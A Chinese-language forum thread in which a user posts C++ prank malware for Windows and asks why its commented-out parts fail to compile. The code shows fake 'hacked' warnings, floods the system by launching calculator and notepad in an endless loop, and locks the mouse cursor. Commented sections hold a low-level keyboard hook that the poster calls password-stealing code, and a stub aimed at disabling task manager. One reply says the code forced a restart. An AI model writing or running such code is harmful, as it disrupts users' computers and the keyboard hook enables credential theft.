1
已解决
包涵宇
中级天翼
中级天翼
#include<iostream>
#include<windows.h>
#include<bits/stdc++.h>
#include<time.h>
#include<conio.h>
using namespace std;
RECT rect={};
HHOOK hHook;
int main(){
system("cls");
system("mode con cols=10 lines=10");
if(MessageBox(NULL,"Your computer has been compromised.","Windows(system)", MB_ICONEXCLAMATION|MB_OKCANCEL)==1){
cout<<" @@@ @@@"<<"\n";
cout<<" @ @@@@@@@@@@@@@@@@@@@@@@@@@ @"<<"\n";
cout<<" @ ha You've ha @"<<"\n";
cout<<" @ ha been hacked. ha @"<<"\n";
cout<<" @ ha !!!!!! ha @"<<"\n";
cout<<" @ @@@@@@@@@@@@@@@@@@@@@@@@@ @"<<"\n";
cout<<" @@@ @@@"<<"\n";
MessageBox(NULL,"there is an Error.\nFrom:Trojan horse","Windows",MB_ICONHAND);
MessageBox(NULL,"Problem solved.\nYou are lucky!","TROJAN HOURSE",MB_OK);
MessageBox(NULL,"No!!!\nI'm been hacked!","Windows",MB_ICONHAND);
MessageBox(NULL,"Don't move!","Honker Union",MB_ICONEXCLAMATION);
while(true){
system("calc");
system("notepad");
}
/*
HHOOK m_hHOOK1 = NULL, m_hHOOK2 = NULL;
m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
while (true)
{
UnhookWindowsHookEx(m_hHOOK1);
m_hHOOK1 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
UnhookWindowsHookEx(m_hHOOK2);
m_hHOOK2 = (HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyboardProc, GetModuleHandle("HOOK"), 0);
} */
/*WNDCLASS wc;
wc.cbClsExtra=0;
wc.cbWndExtra=0;
wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);*/
}
else{
MessageBox(NULL,"OH,ON!MY MOUSE!!!","Windows",MB_OK);
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
//FileStream fs = new FileStream(Environment.ExpandEnvironmentVariables( "%windir%\\system32\\taskmgr.exe"), FileMode.Open);
}
return 0;
}
我就是想问,我注释的为什么编译过不去???
在这里解释一下:注释部分的第一个是盗取密码的,第二个是锁定鼠标3代代码,第三个是使计算机不能访问cmd的
大家调试代码时一定要在虚拟机里,否则造成的损失概不负责!!!
大家还有设么关于系统的代码忙???可以告诉楼主哦!!!
在此再次申明:请不要抄袭!!!
0
0
0
0
0
潘晨皓
高级天翼
高级天翼
你这个代码差点把我电脑搞坏!!!!!
(你叫老师来不就行了?)
再说你想干嘛?
你直接输出图型不就行了。
大家千万别试!有一个东西老是跳出来!
P.S.我只能重启。
0